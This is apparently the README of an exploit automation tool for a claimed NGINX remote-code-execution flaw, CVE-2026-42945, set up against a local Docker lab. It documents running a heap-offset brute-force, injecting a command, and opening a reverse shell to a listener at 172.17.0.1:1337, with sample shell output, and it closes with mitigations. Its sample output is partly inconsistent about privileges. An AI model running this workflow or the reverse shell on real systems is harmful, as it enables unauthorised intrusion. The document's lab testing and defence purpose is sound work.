
يؤتمت استغلال CVE-2026-42945 في حاويات NGINX: يتحقق من الأهداف المعرّضة للخطر، ويجرب إزاحات الكومة بالقوة الغاشمة، وينفّذ الأوامر، ويفتح شلًا عكسيًا تفاعليًا.
مشغّل أتمتة PoC لاستغلال RCE في حاوية nginx-rift · التحقق من الهدف ← استغلال بأمر واحد ← شل عكسي تفاعلي
أمر واحد ينسّق مسار الاستغلال بالكامل — بدءًا من فحص الحاوية وحتى الوصول إلى شل.
⚠️ تحذير أخلاقي وقانوني هذه الأداة مخصصة فقط لاختبارات الأمان المشروعة والمصرّح بها — اختبارات الاختراق التعاقدية، أو بيئات المختبر/CTF، أو الأصول الخاصة. الاستخدام دون إذن مالك النظام يُعد جريمة جنائية (قانون ITE، وقانون الاحتيال وإساءة استخدام الحاسوب، إلخ). المستخدم يتحمل المسؤولية الكاملة عن استخدامه.
CVE-2026-42945 هي ثغرة تنفيذ تعليمات برمجية عن بُعد (RCE) في تكوين NGINX "Rift" — خطأ تجاوز سعة المخزن المؤقت في الكومة (heap-based buffer overflow) في الوحدة ngx_http_rewrite_module يتم استثارته عبر كتلة موقع معيّنة (/api/users/...). ونتيجة لذلك يمكن للمهاجم تنفيذ أوامر عبر معالج system() داخل الحاوية.
| العنصر | التفاصيل |
|---|---|
| CVE | CVE-2026-42945 |
| النوع | Remote Code Execution (RCE) |
| المكوّن | NGINX (ngx_http_rewrite_module) — تكوين "Rift" |
| المحفّز | طلب إلى كتلة الموقع المعرضة للثغرة (/api/users/{id}) |
| الأثر | تنفيذ أوامر عشوائية بصلاحية مستخدم worker الخاص بـ NGINX داخل الحاوية |
| إعداد المختبر | حاوية nginx-rift-nginx-1 — منفذ المضيف 19321 |
يحتوي هذا المستودع على مكوّنين:
| الملف | الوظيفة |
|---|---|
poc.py | محرّك الاستغلال — تخمين إزاحة الكومة، وضعان: --cmd (أمر واحد) و --shell (شل عكسي) |
scan.sh | منسّق الأتمتة — التحقق من الهدف، تشغيل PoC، التحقق من النتائج، وجلسة شل تفاعلية |
┌─────────────────────────────┐
│ scan.sh │
│ Mode: auto / cmd / shell │
└─────────────┬───────────────┘
▼
[0] Preflight
cek docker, curl, python3,
nc, timeout + poc.py ada
▼
[1] Verifikasi Target
docker ps (label compose)
→ curl /api/users/42 (HTTP 200)
▼
[2] PoC --cmd (max 3× retry)
python3 poc.py --cmd 'echo hello
from depthfirst > /tmp/pwned'
│
▼ (timeout 300s per attempt)
Verifikasi ground-truth:
docker exec cat /tmp/pwned
▼
[3] PoC --shell (opsional)
listener 172.17.0.1:1337
→ prompt /bin/sh interaktif
المشغّل (المضيف الذي يتم تنفيذ السكربت عليه):
docker (مع sudo أو مستخدم في مجموعة docker)python3 + poc.py (في نفس الدليل الذي يوجد به scan.sh)curl، وnc (netcat)، وtimeout (coreutils)الهدف (المختبر):
nginx-rift تعمل (تم تجهيزها عبر docker compose)19321 مفتوح على 127.0.0.1172.17.0.1 لمستمع المضيف)# 1. Clone
git clone https://github.com/Kentox493/CVE-2026-42945_NginxRift.git
cd CVE-2026-42945_NginxRift
# 2. Pastikan executable
chmod +x scan.sh
# 3. (Opsional) Verifikasi dependensi
command -v docker python3 curl nc timeout
يجب أن يكون scan.sh و poc.py في نفس الدليل.
./scan.sh # alur lengkap (default: auto)
./scan.sh cmd # hanya PoC single-command + verifikasi marker
./scan.sh shell # langsung reverse-shell interaktif
./scan.sh help # tampilkan bantuan
auto (الافتراضي)--cmd — كتابة العلامة hello from depthfirst إلى /tmp/pwned داخل الحاوية (إعادة محاولة تلقائية بحد أقصى 3 مرات، مهلة 300 ثانية لكل محاولة).docker exec cat /tmp/pwned على العلامة (ground-truth، وليس مجرد قراءة المخرجات).y لجلسة تفاعلية.shell./scan.sh shell
يتم تشغيل poc.py --shell مع مستمع على 172.17.0.1:1337. بعد نجاح التخمين، ستحصل على موجه /bin/sh تفاعلي بصلاحية مستخدم worker الخاص بـ NGINX داخل الحاوية.
ملاحظة: العنوان
172.17.0.1هو عنوان المضيف على جسر Docker الافتراضي. إذا كان الجسر لديك مختلفًا (docker network inspect bridge)، فغيّر المتغيرLISTEN_IPفي أعلىscan.sh.
جميع المعاملات مجمّعة في كتلة الإعدادات أعلى scan.sh:
| المتغير | الافتراضي | الوظيفة |
|---|---|---|
DOCKER | sudo docker | استبدل docker إذا كان المستخدم في مجموعة docker |
PROJECT_LABEL | com.docker.compose.project=nginx-rift | عامل تصفية لتحديد الحاوية |
CONTAINER | nginx-rift-nginx-1 | اسم الحاوية المستهدفة |
TARGET_HOST / TARGET_PORT | 127.0.0.1 / 19321 | عنوان الهدف |
LISTEN_IP / LISTEN_PORT | 172.17.0.1 / 1337 | مستمع الشل العكسي |
MARKER_FILE / MARKER_EXPECT | /tmp/pwned / hello from depthfirst | التحقق من التنفيذ |
CMD_TIMEOUT | 300 | المهلة الزمنية لكل محاولة (ثانية) |
MAX_ATTEMPTS | 3 | عدد مرات إعادة محاولة PoC --cmd |
┌──────────────────────────────────────────────────────────────┐
│ NGINX RIFT · CVE-2026-42945 · PoC Automation Driver │
└──────────────────────────────────────────────────────────────┘
── 0 ── Preflight
[+] Semua dependensi tersedia (docker, curl, python3, nc, timeout, poc.py)
── 1 ── Verifikasi Container & Target
[+] Container 'nginx-rift-nginx-1' berjalan
[+] Target responsif (HTTP 200): http://127.0.0.1:19321/api/users/42
── 2 ── PoC Single-Command (--cmd)
[i] Payload : echo hello from depthfirst > /tmp/pwned
[i] Target : 127.0.0.1:19321
[!] Percobaan 1/3 — brute-force loop berjalan (timeout 300s)...
[*] trying offset 0x8a0
[*] crashed - system("...") executed
[i] Percobaan 1 selesai dalam 42 detik (rc=0)
[+] Exploit BERHASIL — marker terverifikasi: 'hello from depthfirst' (milik root)
[?] Lanjut ke reverse-shell interaktif? [y/N]: y
── 3 ── PoC Reverse-Shell (--shell)
[i] Reverse shell akan terhubung ke 172.17.0.1:1337
[i] poc.py membuka listener netcat lokal lalu menjalankan brute-force
[+] Connection from 172.18.0.2:49312
/bin/sh: 0# id
uid=1000(nginx) gid=1000(nginx) groups=1000(nginx)
| المشكلة | الحل |
|---|---|
الحاوية ... لا تعمل | cd <project-dir> && sudo docker compose up -d، ثم أعد المحاولة |
HTTP 000 / connection refused | المنفذ 19321 غير جاهز — انتظر بضع ثوانٍ، وتحقق من docker ps |
الملف 'poc.py' غير موجود | شغّل scan.sh من دليل المستودع (يجب أن يكون poc.py في نفس الدليل) |
PoC --cmd يفشل باستمرار (3×) | ارفع MAX_ATTEMPTS / CMD_TIMEOUT؛ تأكد من أن النواة وإصدار NGINX متوافقان مع المختبر |
| الشل العكسي لا يتصل | تحقق من أن LISTEN_IP يطابق الجسر (docker network inspect bridge)؛ وتأكد من أن المنفذ 1337 غير مستخدم |
خطأ unrecognized arguments | تأكد من أن إصدار poc.py يدعم العلامات --listen-ip/--listen-port (انظر python3 poc.py -h) |
ngx_http_rewrite_module / أو أزل تكوين Rift.0.0.0.0؛ استخدم شبكة داخلية + بروكسي عكسي مع WAF.--privileged./api/users/ (أنماط غير رقمية، حمولات طويلة)، وكشف تشغيل /bin/sh من عملية nginx.